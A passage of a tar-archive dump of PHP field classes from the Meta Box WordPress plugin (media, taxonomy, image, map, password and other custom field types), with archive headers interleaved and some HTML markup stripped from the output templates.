$value, $args, $post_id ); } } fields/select-tree.php000064400000003013151545703130010740 0ustar00walk( $options ) : ''; } public static function admin_enqueue_scripts() { parent::admin_enqueue_scripts(); wp_enqueue_style( 'rwmb-select-tree', RWMB_CSS_URL . 'select-tree.css', [ 'rwmb-select' ], RWMB_VER ); wp_style_add_data( 'rwmb-select-tree', 'path', RWMB_CSS_DIR . 'select-tree.css' ); wp_enqueue_script( 'rwmb-select-tree', RWMB_JS_URL . 'select-tree.js', [ 'rwmb-select' ], RWMB_VER, true ); } /** * Normalize parameters for field. * * @param array $field Field parameters. * @return array */ public static function normalize( $field ) { $field['multiple'] = true; $field['size'] = 0; $field = parent::normalize( $field ); return $field; } /** * Get the attributes for a field. * * @param array $field Field parameters. * @param mixed $value Meta value. * * @return array */ public static function get_attributes( $field, $value = null ) { $attributes = parent::get_attributes( $field, $value ); $attributes['multiple'] = false; $attributes['id'] = false; return $attributes; } } fields/number.php000064400000001616151545703130010023 0ustar00. */ class RWMB_Number_Field extends RWMB_Input_Field { /** * Normalize parameters for field. * * @param array $field Field parameters. * * @return array */ public static function normalize( $field ) { $field = parent::normalize( $field ); $field = wp_parse_args( $field, [ 'step' => 1, 'min' => 0, 'max' => false, ] ); return $field; } /** * Get the attributes for a field. * * @param array $field Field parameters. * @param mixed $value Meta value. * * @return array */ public static function get_attributes( $field, $value = null ) { $attributes = parent::get_attributes( $field, $value ); $attributes = wp_parse_args( $attributes, [ 'step' => $field['step'], 'max' => $field['max'], 'min' => $field['min'], ] ); return $attributes; } } fields/media.php000064400000015142151545703130007611 0ustar00 apply_filters( 'rwmb_media_add_string', _x( '+ Add Media', 'media', 'meta-box' ) ), 'single' => apply_filters( 'rwmb_media_single_files_string', _x( ' file', 'media', 'meta-box' ) ), 'multiple' => apply_filters( 'rwmb_media_multiple_files_string', _x( ' files', 'media', 'meta-box' ) ), 'remove' => apply_filters( 'rwmb_media_remove_string', _x( 'Remove', 'media', 'meta-box' ) ), 'edit' => apply_filters( 'rwmb_media_edit_string', _x( 'Edit', 'media', 'meta-box' ) ), 'view' => apply_filters( 'rwmb_media_view_string', _x( 'View', 'media', 'meta-box' ) ), 'noTitle' => _x( 'No Title', 'media', 'meta-box' ), 'loadingUrl' => admin_url( 'images/spinner.gif' ), 'extensions' => static::get_mime_extensions(), 'select' => apply_filters( 'rwmb_media_select_string', _x( 'Select Files', 'media', 'meta-box' ) ), 'or' => apply_filters( 'rwmb_media_or_string', _x( 'or', 'media', 'meta-box' ) ), 'uploadInstructions' => apply_filters( 'rwmb_media_upload_instructions_string', _x( 'Drop files here to upload', 'media', 'meta-box' ) ), ] ); } /** * Get meta value. * * @param int $post_id Post ID. * @param bool $saved Whether the meta box is saved at least once. * @param array $field Field parameters. * * @return mixed */ public static function meta( $post_id, $saved, $field ) { $meta = parent::meta( $post_id, $saved, $field ); /* * Update meta cache for all attachments, preparing for getting data for rendering in JS. * This reduces the number of queries for updating all attachments' meta. * @see get_attributes() */ $ids = (array) $meta; if ( $field['clone'] ) { foreach ( $ids as &$value ) { $value = (array) $value; } $ids = call_user_func_array( 'array_merge', $ids ); } update_meta_cache( 'post', $ids ); return $meta; } /** * Get field HTML. * * @param mixed $meta Meta value. * @param array $field Field parameters. * * @return string */ public static function html( $meta, $field ) { $attributes = static::get_attributes( $field, $meta ); $html = sprintf( '', self::render_attributes( $attributes ), esc_attr( wp_json_encode( $field['js_options'] ) ) ); return $html; } /** * Normalize parameters for field. * * @param array $field Field parameters. * * @return array */ public static function normalize( $field ) { $field = parent::normalize( $field ); $field = wp_parse_args( $field, [ 'std' => [], 'mime_type' => '', 'max_file_uploads' => 0, 'force_delete' => false, 'max_status' => true, 'js_options' => [], 'add_to' => 'end', ] ); $field['js_options'] = wp_parse_args( $field['js_options'], [ 'mimeType' => $field['mime_type'], 'maxFiles' => $field['max_file_uploads'], 'forceDelete' => $field['force_delete'], 'maxStatus' => $field['max_status'], 'addTo' => $field['add_to'], ] ); $field['multiple'] = true; return $field; } /** * Get the attributes for a field. * * @param array $field Field parameters. * @param mixed $value Meta value. * * @return array */ public static function get_attributes( $field, $value = null ) { $value = (array) $value; $attributes = parent::get_attributes( $field, $value ); $attributes['type'] = 'hidden'; $attributes['name'] = $field['clone'] ? str_replace( '[]', '', $attributes['name'] ) : $attributes['name']; $attributes['id'] = false; $attributes['value'] = implode( ',', $value ); $attributes['class'] .= ' rwmb-media'; // Add attachment details. $attachments = array_values( array_filter( array_map( 'wp_prepare_attachment_for_js', $value ) ) ); $attributes['data-attachments'] = wp_json_encode( $attachments ); if ( empty( $attachments ) ) { unset( $attributes['value'] ); } return $attributes; } protected static function get_mime_extensions() : array { $mime_types = wp_get_mime_types(); $extensions = []; foreach ( $mime_types as $ext => $mime ) { $ext = explode( '|', $ext ); $extensions[ $mime ] = $ext; $mime_parts = explode( '/', $mime ); if ( empty( $extensions[ $mime_parts[0] ] ) ) { $extensions[ $mime_parts[0] ] = []; } $extensions[ $mime_parts[0] ] = array_merge( $extensions[ $mime_parts[0] ], $ext ); $extensions[ $mime_parts[0] . '/*' ] = $extensions[ $mime_parts[0] ]; } return $extensions; } /** * Get meta values to save. * * @param mixed $new The submitted meta value. * @param mixed $old The existing meta value. * @param int $post_id The post ID. * @param array $field The field parameters. * * @return array */ public static function value( $new, $old, $post_id, $field ) { $new = wp_parse_id_list( $new ); if ( empty( $new ) ) { return []; } // Attach the uploaded images to the post if needed. global $wpdb; $ids = implode( ',', $new ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_parent=%d WHERE post_parent=0 AND ID IN ($ids)", $post_id ) ); return $new; } /** * Save meta value. * * @param mixed $new The submitted meta value. * @param mixed $old The existing meta value. * @param int $post_id The post ID. * @param array $field The field parameters. */ public static function save( $new, $old, $post_id, $field ) { if ( empty( $field['id'] ) || ! $field['save_field'] ) { return; } $storage = $field['storage']; $storage->delete( $post_id, $field['id'] ); parent::save( $new, [], $post_id, $field ); } } fields/range.php000064400000003010151545703130007615 0ustar00 %s %s ', parent::html( $meta, $field ), $meta ); } public static function admin_enqueue_scripts() { wp_enqueue_style( 'rwmb-range', RWMB_CSS_URL . 'range.css', [], RWMB_VER ); wp_style_add_data( 'rwmb-range', 'path', RWMB_CSS_DIR . 'range.css' ); wp_enqueue_script( 'rwmb-range', RWMB_JS_URL . 'range.js', [], RWMB_VER, true ); } /** * Normalize parameters for field. * * @param array $field Field parameters. * @return array */ public static function normalize( $field ) { $field = wp_parse_args( $field, [ 'max' => 10, ] ); $field = parent::normalize( $field ); return $field; } /** * Ensure number in range. * * @param mixed $new The submitted meta value. * @param mixed $old The existing meta value. * @param int $post_id The post ID. * @param array $field The field parameters. * * @return int */ public static function value( $new, $old, $post_id, $field ) { $new = (float) $new; $min = (float) $field['min']; $max = (float) $field['max']; if ( $new < $min ) { return $min; } if ( $new > $max ) { return $max; } return $new; } } fields/textarea.php000064400000003114151545703130010343 0ustar00%s', self::render_attributes( $attributes ), esc_textarea( $meta ) ); } /** * Normalize parameters for field. * * @param array $field Field parameters. * @return array */ public static function normalize( $field ) { $field = parent::normalize( $field ); $field = wp_parse_args( $field, [ 'autocomplete' => false, 'cols' => false, 'rows' => 3, 'maxlength' => false, 'minlength' => false, 'wrap' => false, 'readonly' => false, ] ); return $field; } /** * Get the attributes for a field. * * @param array $field Field parameters. * @param mixed $value Meta value. * * @return array */ public static function get_attributes( $field, $value = null ) { $attributes = parent::get_attributes( $field, $value ); $attributes = wp_parse_args( $attributes, [ 'autocomplete' => $field['autocomplete'], 'cols' => $field['cols'], 'rows' => $field['rows'], 'maxlength' => $field['maxlength'], 'minlength' => $field['minlength'], 'wrap' => $field['wrap'], 'readonly' => $field['readonly'], 'placeholder' => $field['placeholder'], ] ); return $attributes; } } fields/select-advanced.php000064400000004631151545703130011555 0ustar00 is_admin(), ]); } /** * Normalize parameters for field. * * @param array $field Field parameters. * @return array */ public static function normalize( $field ) { $field = wp_parse_args( $field, [ 'js_options' => [], 'placeholder' => __( 'Select an item', 'meta-box' ), ] ); $field = parent::normalize( $field ); $field['js_options'] = wp_parse_args( $field['js_options'], [ 'allowClear' => true, 'dropdownAutoWidth' => true, 'placeholder' => $field['placeholder'], 'width' => 'style', ] ); return $field; } /** * Get the attributes for a field. * * @param array $field Field parameters. * @param mixed $value Meta value. * @return array */ public static function get_attributes( $field, $value = null ) { $attributes = parent::get_attributes( $field, $value ); $attributes = wp_parse_args( $attributes, [ 'data-options' => wp_json_encode( $field['js_options'] ), ] ); return $attributes; } } fields/image.php000064400000011435151545703130007615 0ustar00. */ class RWMB_Image_Field extends RWMB_File_Field { public static function admin_enqueue_scripts() { parent::admin_enqueue_scripts(); wp_enqueue_media(); wp_enqueue_style( 'rwmb-image', RWMB_CSS_URL . 'image.css', [], RWMB_VER ); wp_style_add_data( 'rwmb-image', 'path', RWMB_CSS_DIR . 'image.css' ); } /** * Get HTML for uploaded file. * * @param int $file Attachment (file) ID. * @param int $index File index. * @param array $field Field data. * * @return string */ protected static function file_html( $file, $index, $field ) { $attributes = self::get_attributes( $field, $file ); $edit_link = get_edit_post_link( $file ); if ( $edit_link ) { $edit_link = sprintf( '', $edit_link ); } $attachment_image = is_numeric( $file ) ? wp_get_attachment_image( $file, $field['image_size'] ) : ''; return sprintf( '
  • %s
    %s
  • ', $attachment_image, $edit_link, esc_attr( $file ), esc_attr( $attributes['name'] ), esc_attr( $index ), esc_attr( $file ) ); } /** * Normalize field settings. * * @param array $field Field settings. * * @return array */ public static function normalize( $field ) { $field = parent::normalize( $field ); $field = wp_parse_args( $field, [ 'image_size' => 'thumbnail' ] ); $field['attributes'] = wp_parse_args( $field['attributes'], [ 'accept' => 'image/*' ] ); return $field; } /** * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. * * @param array $field Field parameters. * @param array $value The value. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_single_value( $field, $value, $args, $post_id ) { $output = sprintf( '%s', esc_url( $value['url'] ), esc_attr( $value['alt'] ) ); // Link thumbnail to full size image? if ( ! empty( $args['link'] ) ) { $output = sprintf( '%s', esc_url( $value['full_url'] ), esc_attr( $value['title'] ), $output ); } return $output; } /** * Get uploaded file information. * * @param int $file Attachment image ID (post ID). Required. * @param array $args Array of arguments (for size). * @param array $field Field settings. * * @return array|bool False if file not found. Array of image info on success. */ public static function file_info( $file, $args = [], $field = [] ) { if ( ! empty( $field['upload_dir'] ) ) { return self::file_info_custom_dir( $file, $field ); } $path = get_attached_file( $file ); if ( ! $path ) { return false; } $args = wp_parse_args( $args, [ 'size' => 'thumbnail' ] ); $image = wp_get_attachment_image_src( $file, $args['size'] ); if ( ! $image ) { return false; } $attachment = get_post( $file ); $info = [ 'ID' => $file, 'name' => basename( $path ), 'path' => $path, 'url' => $image[0], 'full_url' => wp_get_attachment_url( $file ), 'title' => $attachment->post_title, 'caption' => $attachment->post_excerpt, 'description' => $attachment->post_content, 'alt' => get_post_meta( $file, '_wp_attachment_image_alt', true ), ]; if ( function_exists( 'wp_get_attachment_image_srcset' ) ) { $info['srcset'] = wp_get_attachment_image_srcset( $file, $args['size'] ); } $info = wp_parse_args( $info, self::get_image_meta_data( $file ) ); // Do not overwrite width and height by returned value of image meta. $info['width'] = $image[1]; $info['height'] = $image[2]; return $info; } /** * Get image meta data. * * @param int $attachment_id Attachment ID. * @return array */ protected static function get_image_meta_data( $attachment_id ) { $metadata = wp_get_attachment_metadata( $attachment_id ); if ( empty( $metadata['sizes'] ) ) { return $metadata; } $dir_url = dirname( wp_get_attachment_url( $attachment_id ) ); foreach ( $metadata['sizes'] as &$size ) { $size['url'] = "{$dir_url}/{$size['file']}"; } return $metadata; } } fields/password.php000064400000004327151545703130010377 0ustar00 '; $output .= $button; return $output; } /** * Store secured password in the database. * * @param mixed $new The submitted meta value. * @param mixed $old The existing meta value. * @param int $post_id The post ID. * @param array $field The field parameters. * @return string */ public static function value( $new, $old, $post_id, $field ) { $new = $new !== $old ? wp_hash_password( $new ) : $new; return $new; } } fields/file-input.php000064400000003671151545703130010612 0ustar00 esc_html__( 'Select File', 'meta-box' ), ] ); } /** * Get field HTML. * * @param mixed $meta Meta value. * @param array $field Field parameters. * * @return string */ public static function html( $meta, $field ) { $attributes = self::get_attributes( $field, $meta ); $meta_array = explode( '.', $meta ); $file_ext = strtolower( end( $meta_array ) ); $extensions = [ 'jpeg', 'jpg', 'png', 'gif' ]; return sprintf( '
    %s %s
    ', in_array( $file_ext, $extensions, true ) ? '' : 'rwmb-file-input-hidden', $meta, self::render_attributes( $attributes ), esc_html__( 'Select', 'meta-box' ), $meta ? '' : 'hidden', esc_html__( 'Remove', 'meta-box' ) ); } /** * Get the attributes for a field. * * @param array $field Field parameters. * @param mixed $value Meta value. * @return array */ public static function get_attributes( $field, $value = null ) { $attributes = parent::get_attributes( $field, $value ); $attributes['type'] = 'text'; return $attributes; } } fields/osm.php000064400000013244151545703130007331 0ustar00 __( 'No results found', 'meta-box' ), ] ); } /** * Get field HTML. * * @param mixed $meta Meta value. * @param array $field Field parameters. * * @return string */ public static function html( $meta, $field ) { $address = is_array( $field['address_field'] ) ? implode( ',', $field['address_field'] ) : $field['address_field']; $html = sprintf( '
    ', esc_attr( $address ) ); $attributes = self::get_attributes( $field, $meta ); $attributes['type'] = 'hidden'; $attributes['value'] = $meta; $html .= sprintf( '
    ', esc_attr( $field['std'] ), esc_attr( $field['region'] ), esc_attr( $field['language'] ), esc_attr( $field['marker_draggable'] ? 'true' : 'false' ), self::render_attributes( $attributes ) ); $html .= '
    '; return $html; } /** * Normalize parameters for field. * * @param array $field Field parameters. * * @return array */ public static function normalize( $field ) { $field = parent::normalize( $field ); $field = wp_parse_args( $field, [ 'std' => '', 'address_field' => '', 'language' => '', 'region' => '', 'marker_draggable' => true, ] ); return $field; } /** * Get the field value. * The difference between this function and 'meta' function is 'meta' function always returns the escaped value * of the field saved in the database, while this function returns more meaningful value of the field. * * @param array $field Field parameters. * @param array $args Not used for this field. * @param int|null $post_id Post ID. null for current post. Optional. * * @return mixed Array(latitude, longitude, zoom) */ public static function get_value( $field, $args = [], $post_id = null ) { $value = parent::get_value( $field, $args, $post_id ); if ( is_array( $value ) ) { $location = []; foreach ( $value as $clone ) { list( $latitude, $longitude, $zoom ) = explode( ',', $clone . ',,' ); $location[] = compact( 'latitude', 'longitude', 'zoom' ); } return $location; } list( $latitude, $longitude, $zoom ) = explode( ',', $value . ',,' ); return compact( 'latitude', 'longitude', 'zoom' ); } /** * Format value before render map * @param mixed $field * @param mixed $value * @param mixed $args * @param mixed $post_id * @return string */ public static function format_single_value( $field, $value, $args, $post_id ): string { return self::render_map( $value, $args ); } /** * Render a map in the frontend. * * @param string|array $location The "latitude,longitude[,zoom]" location. * @param array $args Additional arguments for the map. * * @return string */ public static function render_map( $location, $args = [] ) { // For compatibility with previous version, or within groups. if ( is_string( $location ) ) { list( $latitude, $longitude, $zoom ) = explode( ',', $location . ',,' ); } else { extract( $location ); } if ( ! $latitude || ! $longitude ) { return ''; } $args = wp_parse_args( $args, [ 'latitude' => $latitude, 'longitude' => $longitude, 'width' => '100%', 'height' => '480px', 'marker' => true, // Display marker? 'marker_title' => '', // Marker title, when hover. 'info_window' => '', // Content of info window (when click on marker). HTML allowed. 'js_options' => [], 'zoom' => $zoom, ] ); self::enqueue_map_assets(); wp_enqueue_script( 'rwmb-osm-frontend', RWMB_JS_URL . 'osm-frontend.js', [ 'jquery', 'leaflet' ], RWMB_VER, true ); wp_enqueue_style( 'rwmb-osm-frontend', RWMB_CSS_URL . 'osm-frontend.css', [], RWMB_VER ); wp_style_add_data( 'rwmb-osm-frontend', 'path', RWMB_CSS_DIR . 'osm-frontend.css' ); /* * More Open Street Map options * @link https://leafletjs.com/reference-1.5.0.html#map-option */ $args['js_options'] = wp_parse_args( $args['js_options'], [ // Default to 'zoom' level set in admin, but can be overwritten. 'zoom' => $args['zoom'], ] ); $output = sprintf( '
    ', esc_attr( wp_json_encode( $args ) ), esc_attr( $args['width'] ), esc_attr( $args['height'] ) ); return $output; } private static function enqueue_map_assets() { wp_enqueue_style( 'leaflet', RWMB_JS_URL . 'leaflet/leaflet.css', [], '1.9.4' ); wp_style_add_data( 'leaflet', 'path', RWMB_JS_URL . 'leaflet/leaflet.css' ); wp_enqueue_script( 'leaflet', RWMB_JS_URL . 'leaflet/leaflet.js', [], '1.9.4', true ); wp_enqueue_style( 'leaflet-gesture-handling', RWMB_JS_URL . 'leaflet/leaflet-gesture-handling.min.css', [ 'leaflet' ], '1.2.2' ); wp_style_add_data( 'leaflet-gesture-handling', 'path', RWMB_JS_URL . 'leaflet/leaflet-gesture-handling.min.css' ); wp_enqueue_script( 'leaflet-gesture-handling', RWMB_JS_URL . 'leaflet/leaflet-gesture-handling.min.js', [ 'leaflet' ], '1.2.2' ); } } fields/divider.php000064400000001141151545703130010152 0ustar00"; } public static function end_html( array $field ) : string { return ''; } } fields/checkbox-list.php000064400000000724151545703130011271 0ustar00 true, 'query_args' => [], 'field_type' => 'select_advanced', 'add_new' => false, 'ajax' => true, ] ); if ( 'select_advanced' !== $field['field_type'] ) { $field['ajax'] = false; } if ( 'checkbox_tree' === $field['field_type'] ) { $field['field_type'] = 'checkbox_list'; $field['flatten'] = false; } if ( 'radio_list' === $field['field_type'] ) { $field['field_type'] = 'radio'; } $field = call_user_func( [ self::get_type_class( $field ), 'normalize' ], $field ); return $field; } /** * Set ajax parameters. * * @param array $field Field settings. */ protected static function set_ajax_params( &$field ) { if ( ! $field['ajax'] ) { return; } if ( empty( $field['js_options']['ajax'] ) ) { $field['js_options']['ajax'] = []; } $field['js_options']['ajax'] = wp_parse_args( [ 'url' => admin_url( 'admin-ajax.php' ), ], $field['js_options']['ajax'] ); $field['js_options']['ajax_data'] = [ 'field' => [ 'id' => $field['id'], 'type' => $field['type'], 'query_args' => $field['query_args'], ], '_wpnonce' => wp_create_nonce( 'query' ), ]; } /** * Get the attributes for a field. * * @param array $field Field parameters. * @param mixed $value Meta value. * * @return array */ public static function get_attributes( $field, $value = null ) { $attributes = call_user_func( [ self::get_type_class( $field ), 'get_attributes' ], $field, $value ); if ( 'select_advanced' === $field['field_type'] ) { $attributes['class'] .= ' rwmb-select_advanced'; } elseif ( 'select' === $field['field_type'] ) { $attributes['class'] .= ' rwmb-select'; } return $attributes; } public static function admin_enqueue_scripts() { RWMB_Input_List_Field::admin_enqueue_scripts(); RWMB_Select_Field::admin_enqueue_scripts(); RWMB_Select_Tree_Field::admin_enqueue_scripts(); RWMB_Select_Advanced_Field::admin_enqueue_scripts(); // Field is the 1st param. $field = func_get_arg( 0 ); if ( empty( $field['add_new'] ) ) { return; } wp_enqueue_style( 'rwmb-modal', RWMB_CSS_URL . 'modal.css', [], RWMB_VER ); wp_style_add_data( 'rwmb-modal', 'path', RWMB_CSS_DIR . 'modal.css' ); wp_enqueue_script( 'rwmb-modal', RWMB_JS_URL . 'modal.js', [ 'jquery' ], RWMB_VER, true ); $type = $field['type'] === 'taxonomy_advanced' ? 'taxonomy' : $field['type']; wp_enqueue_script( "rwmb-$type", RWMB_JS_URL . "$type.js", [ 'jquery', 'rwmb-modal' ], RWMB_VER, true ); } /** * Get correct rendering class for the field. */ protected static function get_type_class( array $field ) : string { return RWMB_Helpers_Field::get_class( [ 'type' => $field['field_type'] ] ); } } fields/taxonomy.php000064400000022115151545703130010406 0ustar00filter_post( 'field', FILTER_DEFAULT, FILTER_FORCE_ARRAY ); // Required for 'choice_label' filter. See self::filter(). $field['clone'] = false; $field['_original_id'] = $field['id']; // Search. $field['query_args']['name__like'] = $request->filter_post( 'term' ); // Pagination. $limit = $field['query_args']['number'] ?? 0; $limit = (int) $limit; if ( 'query:append' === $request->filter_post( '_type' ) ) { $page = $request->filter_post( 'page', FILTER_SANITIZE_NUMBER_INT ); $field['query_args']['offset'] = $limit * ( $page - 1 ); } // Query the database. $items = self::query( null, $field ); $items = array_values( $items ); $items = apply_filters( 'rwmb_ajax_get_terms', $items, $field, $request ); $data = [ 'items' => $items ]; // More items for pagination. if ( $limit && count( $items ) === $limit ) { $data['more'] = true; } wp_send_json_success( $data ); } /** * Add default value for 'taxonomy' field. * * @param array $field Field parameters. * @return array */ public static function normalize( $field ) { // Backwards compatibility with field args. if ( isset( $field['options']['args'] ) ) { $field['query_args'] = $field['options']['args']; } if ( isset( $field['options']['taxonomy'] ) ) { $field['taxonomy'] = $field['options']['taxonomy']; } if ( isset( $field['options']['type'] ) ) { $field['field_type'] = $field['options']['type']; } // Set default field args. $field = wp_parse_args( $field, [ 'taxonomy' => 'category', 'query_args' => [], 'remove_default' => false, ] ); // Force taxonomy to be an array. $field['taxonomy'] = (array) $field['taxonomy']; /* * Set default placeholder: * - If multiple taxonomies: show 'Select a term'. * - If single taxonomy: show 'Select a %taxonomy_name%'. */ $placeholder = __( 'Select a term', 'meta-box' ); $taxonomy_name = self::get_taxonomy_singular_name( $field ); if ( $taxonomy_name ) { // Translators: %s is the taxonomy singular label. $placeholder = sprintf( __( 'Select a %s', 'meta-box' ), strtolower( $taxonomy_name ) ); } $field = wp_parse_args( $field, [ 'placeholder' => $placeholder, ] ); $field = parent::normalize( $field ); // Set default query args. $limit = $field['ajax'] ? 10 : 0; $field['query_args'] = wp_parse_args( $field['query_args'], [ 'taxonomy' => $field['taxonomy'], 'number' => $limit, ] ); parent::set_ajax_params( $field ); // Prevent cloning for taxonomy field, not for child fields (taxonomy_advanced). if ( 'taxonomy' === $field['type'] ) { $field['clone'] = false; } return $field; } public static function query( $meta, array $field ): array { $args = wp_parse_args( $field['query_args'], [ 'hide_empty' => false, 'count' => false, 'update_term_meta_cache' => false, ] ); $meta = wp_parse_id_list( (array) $meta ); // Query only selected items. if ( ! empty( $field['ajax'] ) && ! empty( $meta ) ) { $args['include'] = $meta; $args['number'] = count( $meta ); } $terms = get_terms( $args ); if ( ! is_array( $terms ) ) { return []; } $options = []; foreach ( $terms as $term ) { $label = $term->name ? $term->name : __( '(No title)', 'meta-box' ); $label = self::filter( 'choice_label', $label, $field, $term ); $options[ $term->term_id ] = [ 'value' => $term->term_id, 'label' => $label, 'parent' => $term->parent, ]; } return $options; } /** * Get meta values to save. * * @param mixed $new The submitted meta value. * @param mixed $old The existing meta value. * @param int $post_id The post ID. * @param array $field The field parameters. * * @return array */ public static function value( $new, $old, $post_id, $field ) { $new = (array) $new; $new[] = self::add_term( $field ); $new = array_filter( wp_parse_id_list( $new ) ); return $new; } /** * Save meta value. * * @param mixed $new The submitted meta value. * @param mixed $old The existing meta value. * @param int $post_id The post ID. * @param array $field The field parameters. */ public static function save( $new, $old, $post_id, $field ) { if ( empty( $field['id'] ) || ! $field['save_field'] ) { return; } foreach ( $field['taxonomy'] as $taxonomy ) { wp_set_object_terms( $post_id, $new, $taxonomy ); } } /** * Add new terms if users created some. * * @param array $field Field settings. * @return int|null Term ID if added successfully, null otherwise. */ protected static function add_term( $field ) { $term = rwmb_request()->post( $field['id'] . '_new' ); if ( ! $field['add_new'] || ! $term || 1 !== count( $field['taxonomy'] ) ) { return null; } $taxonomy = reset( $field['taxonomy'] ); $term = wp_insert_term( $term, $taxonomy ); if ( is_wp_error( $term ) ) { return null; } return $term['term_id'] ?? null; } /** * Get raw meta value. * * @param int $object_id Object ID. * @param array $field Field parameters. * @param array $args Arguments of {@see rwmb_meta()} helper. * * @return mixed */ public static function raw_meta( $object_id, $field, $args = [] ) { if ( empty( $field['id'] ) ) { return ''; } $meta = wp_get_object_terms( $object_id, $field['taxonomy'], [ 'orderby' => 'term_order', ] ); $meta = wp_list_pluck( $meta, 'term_id' ); return $field['multiple'] ? $meta : reset( $meta ); } /** * Get the field value. * Return list of post term objects. * * @param array $field Field parameters. * @param array $args Additional arguments. * @param ?int $post_id Post ID. * * @return array List of post term objects. */ public static function get_value( $field, $args = [], $post_id = null ) { if ( ! $post_id ) { $post_id = get_the_ID(); } $value = wp_get_object_terms( $post_id, $field['taxonomy'], [ 'orderby' => 'term_order', ] ); // Get single value if necessary. if ( ! $field['clone'] && ! $field['multiple'] ) { $value = reset( $value ); } return $value; } /** * Format a single value for the helper functions. * * @param array $field Field parameters. * @param WP_Term $value The term object. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param ?int $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_single_value( $field, $value, $args, $post_id ) { if ( empty( $value ) ) { return ''; } $link = $args['link'] ?? 'view'; $text = $value->name; if ( false === $link ) { return $text; } $url = get_term_link( $value ); if ( 'edit' === $link ) { $url = get_edit_term_link( $value ); } return sprintf( '%s', esc_url( $url ), esc_html( $text ) ); } public static function add_new_form( array $field ): string { if ( ! current_user_can( 'edit_posts' ) ) { return ''; } // Only add new term if field has only one taxonomy. if ( 1 !== count( $field['taxonomy'] ) ) { return ''; } $taxonomy = reset( $field['taxonomy'] ); $taxonomy_object = get_taxonomy( $taxonomy ); if ( false === $taxonomy_object ) { return ''; } return sprintf( '%s', admin_url( 'edit-tags.php?taxonomy=' . $taxonomy_object->name ), esc_html( $taxonomy_object->labels->add_new_item ) ); } public static function admin_enqueue_scripts() { $field = func_get_arg( 0 ); parent::admin_enqueue_scripts( $field ); static::remove_default_meta_box( $field ); } protected static function remove_default_meta_box( array $field ) { if ( empty( $field['remove_default'] ) || ! function_exists( 'remove_meta_box' ) ) { return; } // Only run in admin. if ( ! is_admin() ) { return; } // Do nothing if in Ajax or Rest API. if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) { return; } if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) { return; } foreach ( $field['taxonomy'] as $taxonomy ) { $id = is_taxonomy_hierarchical( $taxonomy ) ? "{$taxonomy}div" : "tagsdiv-{$taxonomy}"; remove_meta_box( $id, null, 'side' ); } } protected static function get_taxonomy_singular_name( array $field ): string { if ( 1 !== count( $field['taxonomy'] ) ) { return ''; } $taxonomy = reset( $field['taxonomy'] ); $taxonomy_object = get_taxonomy( $taxonomy ); return false === $taxonomy_object ? '' : $taxonomy_object->labels->singular_name; } } fields/wysiwyg.php000064400000004437151545703130010261 0ustar00'; echo ''; return ob_get_clean(); } /** * Normalize parameters for field. * * @param array $field Field parameters. * @return array */ public static function normalize( $field ) { $field = parent::normalize( $field ); $field = wp_parse_args( $field, [ 'raw' => false, 'options' => [], ] ); $field['options'] = wp_parse_args( $field['options'], [ 'editor_class' => 'rwmb-wysiwyg', 'dfw' => true, // Use default WordPress full screen UI. ] ); // Keep the filter to be compatible with previous versions. $field['options'] = apply_filters( 'rwmb_wysiwyg_settings', $field['options'] ); return $field; } } fields/autocomplete.php000064400000005676151545703130011246 0ustar00 __( 'Delete', 'meta-box' ), ] ); } /** * Get field HTML. * * @param mixed $meta Meta value. * @param array $field Field parameters. * @return string */ public static function html( $meta, $field ) { if ( ! is_array( $meta ) ) { $meta = [ $meta ]; } // Filter out empty values in case the array started with empty or 0 values $meta = array_filter( $meta, function ( $index ) use ( $meta ) { return $meta[ $index ] !== ''; }, ARRAY_FILTER_USE_KEY ); $field = apply_filters( 'rwmb_autocomplete_field', $field, $meta ); $options = $field['options']; if ( is_array( $field['options'] ) ) { $options = []; foreach ( $field['options'] as $value => $label ) { $options[] = [ 'value' => (string) $value, 'label' => $label, ]; } $options = wp_json_encode( $options ); } // Input field that triggers autocomplete. // This field doesn't store field values, so it doesn't have "name" attribute. // The value(s) of the field is store in hidden input(s). See below. $html = sprintf( ' ', esc_attr( $field['field_name'] ), esc_attr( $options ) ); $html .= '
    '; // Each value is displayed with label and 'Delete' option. // The hidden input has to have ".rwmb-*" class to make clone work. $tpl = '
    %s
    %s
    '; if ( is_array( $field['options'] ) ) { foreach ( $field['options'] as $value => $label ) { if ( ! in_array( $value, $meta ) ) { continue; } $html .= sprintf( $tpl, esc_html( $label ), esc_html__( 'Delete', 'meta-box' ), esc_attr( $field['field_name'] ), esc_attr( $value ) ); } } else { $meta = array_filter( $meta ); foreach ( $meta as $value ) { $label = apply_filters( 'rwmb_autocomplete_result_label', $value, $field ); $html .= sprintf( $tpl, esc_html( $label ), esc_html__( 'Delete', 'meta-box' ), esc_attr( $field['field_name'] ), esc_attr( $value ) ); } } $html .= '
    '; // .rwmb-autocomplete-results. return $html; } } fields/image-select.php000064400000004505151545703130011072 0ustar00 $image ) { $attributes = self::get_attributes( $field, $value ); $html[] = sprintf( '', $image, self::render_attributes( $attributes ), checked( in_array( $value, $meta ), true, false ) ); } return implode( ' ', $html ); } /** * Normalize parameters for field. * * @param array $field Field parameters. * @return array */ public static function normalize( $field ) { $field = parent::normalize( $field ); $field['options'] = $field['options'] ?? []; $field['field_name'] .= $field['multiple'] ? '[]' : ''; return $field; } /** * Get the attributes for a field. * * @param array $field Field parameters. * @param mixed $value Meta value. * @return array */ public static function get_attributes( $field, $value = null ) { $attributes = parent::get_attributes( $field, $value ); $attributes['id'] = false; $attributes['type'] = $field['multiple'] ? 'checkbox' : 'radio'; $attributes['value'] = $value; return $attributes; } /** * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. * * @param array $field Field parameters. * @param string $value The value. * @param array $args Additional arguments. Rarely used. See specific fields for details. * @param int|null $post_id Post ID. null for current post. Optional. * * @return string */ public static function format_single_value( $field, $value, $args, $post_id ) { return $value ? sprintf( '', esc_url( $field['options'][ $value ] ) ) : ''; } } fields/radio.php000064400000000416151545703130007626 0ustar00 '', 'oo' => '', '@' => '', "''" => "'". * * @var array */ protected static $date_formats = [ 'd' => 'j', 